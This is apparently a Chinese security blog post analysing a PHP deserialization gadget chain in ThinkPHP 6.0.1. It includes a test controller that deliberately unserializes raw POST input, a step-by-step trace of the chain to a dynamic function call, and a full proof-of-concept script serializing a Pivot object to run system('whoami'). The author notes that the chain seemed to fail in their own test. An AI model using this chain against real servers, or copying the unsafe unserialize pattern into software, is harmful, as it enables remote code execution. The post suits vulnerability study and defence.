Thinkphp6.0.x反序列化分析

环境搭建

Phpstudy：

• OS: Windows
• PHP: 7.3.4
• ThinkPHP: 6.0.1

创建测试环境：

composer create-projec topthink/think:6.0.* tp6.0.1

之后进入composer.json修改"topthink/framework": "6.0.1"，再执行composer update

创建入口点：

app/controller/Index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        if(isset($_POST['data'])){
            unserialize($_POST['data']);
        }else{
            highlight_file(__FILE__);
        }
    }
}

漏洞分析

在 ThinkPHP5.x 的POP链中，入口都是 think\process\pipes\Windows 类，通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类，而POP链 __toString 之后的 Gadget 仍然存在，所以我们得继续寻找可以触发 __toString 方法的点。

首先需要找__destruct函数，可利用的函数在vendor\topthink\think-orm\src\Model.php

满足$this->lazySave为true则进入save()函数，跟进

这里需要满足if语句为真才能进入下一步，跟进一下这两个函数

对于$this->isEmpty()，需要满足$this->data不为空

对于$this->trigger()，满足$this->withEvent == false即可返回true

之后就进入到

 $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

根据大师傅们的路线，updateData()方法可继续利用，这里需要满足$this->exists=true

跟进updateData()方法

我们的利用点在checkAllowFields()，需要满足前面两个if语句

经过分析需满足

• $this->withEvent == false
• $this->force == true，并且$this-data不为空

接下来跟进checkAllowFields()函数

我们需要进入$this->db()，同样需要满足前面的if语句，而这两个参数默认为空，无需构造

跟进db()

这里进行了字符串拼接，并且两个值可控，那么就可以触发__toString()方法

全局搜索__toString()方法，利用点在vendor\topthink\think-orm\src\model\concern\Conversion.php

跟进toJson()

跟进toArray()

对$data进行遍历，$data来自$this->data，默认情况下进入第二个elseif语句，$key作为参数调用getAttr()函数，继续跟进：

查看getData方法

这里$name就是传入的$key，跟进getRealFieldName()方法

最终getAttr()返回值是

return $this->getValue($name, $value, $relation);

参数$name则是从toArray()传进来的$key，而参数$value的值就是$this->data[$key]

跟进getValue()

最终利用点在

$value = $closure($value, $this->data);

当$this->withAttr数组存在和$date一样的键$key，并且这个键对应的值不能为数组，就会把$this->withAttr[$key]（withAttr数组$key键对应的值）当做函数名动态执行，参数为$this->date[$key]

我们控制：

$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"]; 

最终就可以RCE

POP链构造

整体的利用链

__destruct
↓
save()
↓
updateData()
↓
checkAllowFields()
↓
db()
↓
name($this->name . $this->suffix)
↓    
__toString()
↓
toJson()
↓
toArray()
↓
getAttr()
↓
getValue()
↓
$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

需要注意的是Model类是抽象类，不能实例化。得找出Model类的一个子类进行实例化，这里可以用Pivot类进行利用。

最终构造POC：

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["snakin" => "whoami"];
    private $withAttr = ["snakin" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{}

echo urlencode(serialize(new Pivot(new Pivot())));

写在后面

实际测试的时候链子好像已经失效了，github官方也没有commit记录，自己太菜也没发现什么问题(ps.有没有师傅告诉我)呜呜呜，不过链子还是可以分析一下的。

参考链接：

https://blog.csdn.net/rfrder/article/details/114686095

https://blog.csdn.net/qq_42181428/article/details/105777872